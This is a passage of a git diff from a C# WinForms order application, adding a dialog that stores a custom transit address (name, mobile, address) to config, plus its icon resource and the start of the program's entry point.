this.pnlSave.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.TabIndex = 676; + this.pnlSave.Text = "保存"; + this.pnlSave.Click += new System.EventHandler(this.pnlSave_Click); + // + // pnlClear + // + this.pnlClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlClear.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlClear.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlClear.Location = new System.Drawing.Point(70, 180); + this.pnlClear.Name = "pnlClear"; + this.pnlClear.Size = new System.Drawing.Size(70, 22); + this.pnlClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlClear.Style.BackColor1.Color = System.Drawing.Color.White; + this.pnlClear.Style.BackColor2.Color = System.Drawing.Color.White; + this.pnlClear.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlClear.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlClear.Style.CornerDiameter = 1; + this.pnlClear.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlClear.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlClear.Style.GradientAngle = 90; + this.pnlClear.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlClear.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlClear.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlClear.TabIndex = 672; + this.pnlClear.Text = "清空"; + this.pnlClear.Click += new System.EventHandler(this.pnlClear_Click); + // + // txtAddress + // + this.txtAddress.Location = new System.Drawing.Point(70, 106); + this.txtAddress.Multiline = true; + this.txtAddress.Name = "txtAddress"; + this.txtAddress.Size = new System.Drawing.Size(283, 56); + this.txtAddress.TabIndex = 2; + // + // txtMobile + // + this.txtMobile.Location = new System.Drawing.Point(70, 68); + this.txtMobile.Name = "txtMobile"; + this.txtMobile.Size = new System.Drawing.Size(100, 21); + this.txtMobile.TabIndex = 1; + // + // txtName + // + this.txtName.Location = new System.Drawing.Point(70, 32); + this.txtName.Name = "txtName"; + this.txtName.Size = new System.Drawing.Size(100, 21); + this.txtName.TabIndex = 0; + // + // TransitAddressFrom + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(419, 257); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "TransitAddressFrom"; + this.Text = "指定自定义地址"; + this.TitleText = "指定自定义地址"; + this.Load += new System.EventHandler(this.TransitAddressFrom_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.TextBox txtAddress; + private System.Windows.Forms.TextBox txtMobile; + private System.Windows.Forms.TextBox txtName; + private DevComponents.DotNetBar.PanelEx pnlSave; + private DevComponents.DotNetBar.PanelEx pnlClear; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/TransitAddressForm.cs b/29WxOrder/OrderForms/TransitAddressForm.cs new file mode 100644 index 0000000..d620a8f --- /dev/null +++ b/29WxOrder/OrderForms/TransitAddressForm.cs @@ -0,0 +1,61 @@ +using NaiBa.Util.Helper; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + public partial class TransitAddressForm : BaseForm + { + public TransitAddressForm() + { + InitializeComponent(); + } + + private void pnlClear_Click(object sender, EventArgs e) + { + this.txtName.Text = this.txtMobile.Text = this.txtAddress.Text = ""; + } + + private void pnlSave_Click(object sender, EventArgs e) + { + TransitAddress = new TransitAddressInfo() + { + Name = txtName.Text, + Address = txtAddress.Text, + Mobile = txtMobile.Text, + }; + if (string.IsNullOrWhiteSpace(TransitAddress.Name) || string.IsNullOrWhiteSpace(TransitAddress.Name) || string.IsNullOrWhiteSpace(TransitAddress.Name)) + TransitAddress = null; + + ConfigHelper.SaveConfig("transit_address", TransitAddress); + BaseMsgForm.ShowInfo("保存成功!"); + this.Close(); + } + + public static TransitAddressInfo TransitAddress = null; + private void TransitAddressFrom_Load(object sender, EventArgs e) + { + if (TransitAddress != null) + { + txtName.Text = TransitAddress.Name; + txtMobile.Text = TransitAddress.Mobile; + txtAddress.Text = TransitAddress.Address; + } + } + } + + public class TransitAddressInfo + { + public string Name { get; set; } + public string Mobile { get; set; } + public string Address { get; set; } + } +} diff --git a/29WxOrder/OrderForms/TransitAddressForm.resx b/29WxOrder/OrderForms/TransitAddressForm.resx new file mode 100644 index 0000000..85fc004 --- /dev/null +++ b/29WxOrder/OrderForms/TransitAddressForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/Program.cs b/29WxOrder/Program.cs new file mode 100644 index 0000000..1e644a0 --- /dev/null +++ b/29WxOrder/Program.cs @@ -0,0 +1,262 @@ +using AllBase; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; + +namespace _29WxOrder +{ + static class Program + { + /// + /// 应用程序的主入口点。 + /// + [STAThread] + static void Main(string[] args) + { + try + { + //设置应用程序处理异常方式:ThreadException处理 + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + //处理UI线程异常 + Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException); + //处理非UI线程异常 + AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException); + + Application.EnableVisualStyles(); + 